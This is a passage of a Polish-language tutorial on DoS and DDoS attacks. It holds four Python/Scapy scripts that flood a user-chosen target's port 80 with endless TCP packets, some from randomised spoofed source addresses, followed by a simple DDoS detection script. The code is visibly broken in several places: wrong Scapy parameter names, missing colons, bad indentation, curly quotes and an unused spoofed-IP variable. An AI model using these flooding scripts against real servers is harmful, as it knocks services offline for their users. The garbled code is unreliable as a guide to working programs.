Atak DoS i DDoS

W tym rozdziale dowiemy się o ataku DoS i DdoS oraz zrozumiemy, jak je wykryć.

Wraz z boomem w branży e-commerce, serwer WWW jest teraz podatny na ataki i jest łatwym celem dla hakerów. Hakerzy zazwyczaj podejmują dwa rodzaje ataków -

  • DoS (Denial-of-Service)
  • DDoS (rozproszona odmowa usługi)

Atak DoS (Denial-of-Service)

Atak Denial of Service (DoS) to próba hakerów na uniemożliwienie dostępu do zasobu sieciowego. Zwykle przerywa hostowi, tymczasowo lub na czas nieokreślony, połączenie z Internetem. Ataki te zazwyczaj są wymierzone w usługi hostowane na serwerach WWW o znaczeniu krytycznym, takich jak banki, bramki płatności kartami kredytowymi.

Objawy ataku DoS

  • Niezwykle niska wydajność sieci.

  • Niedostępność określonej witryny internetowej.

  • Brak dostępu do jakiejkolwiek witryny internetowej.

  • Drastyczny wzrost liczby otrzymywanych wiadomości spamowych.

  • Długotrwała odmowa dostępu do sieci lub jakichkolwiek usług internetowych.

  • Niedostępność określonej witryny internetowej.

Typy ataku DoS i jego implementacja w Pythonie

Atak DoS może zostać przeprowadzony w warstwie łącza danych, sieci lub aplikacji. Poznajmy teraz różne typy ataków DoS &; ich implementacja w Pythonie -

Pojedynczy port IP

Duża liczba pakietów jest wysyłana do serwera WWW przy użyciu jednego adresu IP i z jednego numeru portu. Jest to atak niskopoziomowy, który służy do sprawdzania zachowania serwera WWW. Jego implementację w Pythonie można wykonać przy pomocy Scapy. Poniższy skrypt w języku Python pomoże zaimplementować atak DoS na pojedynczy port IP z pojedynczym adresem IP -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1

Po wykonaniu powyższy skrypt zapyta o następujące trzy rzeczy -

  • Adres IP źródła i celu.

  • Adres IP numeru portu źródłowego.

  • Następnie wyśle ​​dużą liczbę pakietów do serwera w celu sprawdzenia jego zachowania.

Pojedynczy adres IP Wiele portów

Duża liczba pakietów jest wysyłana do serwera WWW przy użyciu pojedynczego adresu IP i z wielu portów. Jego implementację w Pythonie można wykonać przy pomocy Scapy. Poniższy skrypt w języku Python pomoże zaimplementować atak DoS na jeden adres IP z wieloma portami -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Wiele portów IP

Duża liczba pakietów jest wysyłana do serwera WWW przy użyciu wielu adresów IP i z jednego numeru portu. Jego implementację w Pythonie można wykonać przy pomocy Scapy. Poniższy skrypt Pythona implementuje atak DoS na jeden adres IP z wieloma portami -

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   
   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

Wiele portów IP

Duża liczba pakietów jest wysyłana do serwera WWW przy użyciu wielu adresów IP i z wielu portów. Jego implementację w Pythonie można wykonać przy pomocy Scapy. Poniższy skrypt w języku Python pomaga zaimplementować wieloportowy atak DoS na wiele adresów IP -

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Atak DDoS (Distributed Denial-of-Service)

Atak typu Distributed Denial of Service (DDoS) to próba uniemożliwienia dostępu do usługi online lub strony internetowej poprzez przeciążenie jej ogromnymi zalewami ruchu generowanego z wielu źródeł.

W przeciwieństwie do ataku typu Denial of Service (DoS), w którym jeden komputer i jedno połączenie internetowe jest wykorzystywane do zalewania docelowego zasobu pakietami, atak DDoS wykorzystuje wiele komputerów i wiele połączeń internetowych, często rozproszonych globalnie w tzw. . Masowy wolumetryczny atak DDoS może generować ruch mierzony w dziesiątkach gigabitów (a nawet setkach gigabitów) na sekundę. Szczegółowe informacje można znaleźć pod adresemhttps://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm.

Wykrywanie DDoS za pomocą Pythona

W rzeczywistości atak DDoS jest nieco trudny do wykrycia, ponieważ nie wiesz, że host wysyłający ruch jest fałszywy lub prawdziwy. Podany poniżej skrypt Pythona pomoże wykryć atak DDoS.

Na początek zaimportujmy niezbędne biblioteki -

import socket
import struct

from datetime import datetime

Teraz utworzymy gniazdo, tak jak utworzyliśmy w poprzednich sekcjach.

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

Użyjemy pustego słownika -

dict = {}

Poniższy wiersz kodu otworzy plik tekstowy, zawierający szczegóły ataku DDoS w trybie dopisywania.

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

Za pomocą następującego wiersza kodu bieżący czas zostanie zapisany przy każdym uruchomieniu programu.

file_txt.writelines(t1)
file_txt.writelines("\n")

Teraz musimy przyjąć trafienia z określonego adresu IP. Tutaj zakładamy, że jeśli dane IP trafia więcej niż 15 razy, byłby to atak.

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

Poniższy wiersz kodu sprawdzi, czy adres IP istnieje w słowniku, czy nie. Jeśli istnieje, zwiększy go o 1.

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

Następna linia kodu służy do usuwania nadmiarowości.

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

Po uruchomieniu powyższego skryptu otrzymamy wynik w pliku tekstowym. Zgodnie ze skryptem, jeśli adres IP trafi więcej niż 15 razy, zostanie wydrukowany, gdy atak DDoS zostanie wykryty wraz z tym adresem IP.